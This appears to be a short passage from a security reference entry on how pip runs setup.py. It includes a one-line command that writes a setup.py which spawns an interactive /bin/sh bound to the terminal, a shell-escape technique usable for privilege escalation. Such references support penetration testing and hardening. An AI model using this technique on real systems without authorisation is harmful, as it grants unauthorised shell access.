This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).
Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example:
```
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
```
The `--break-system-packages` flag can be omitted in older systems.
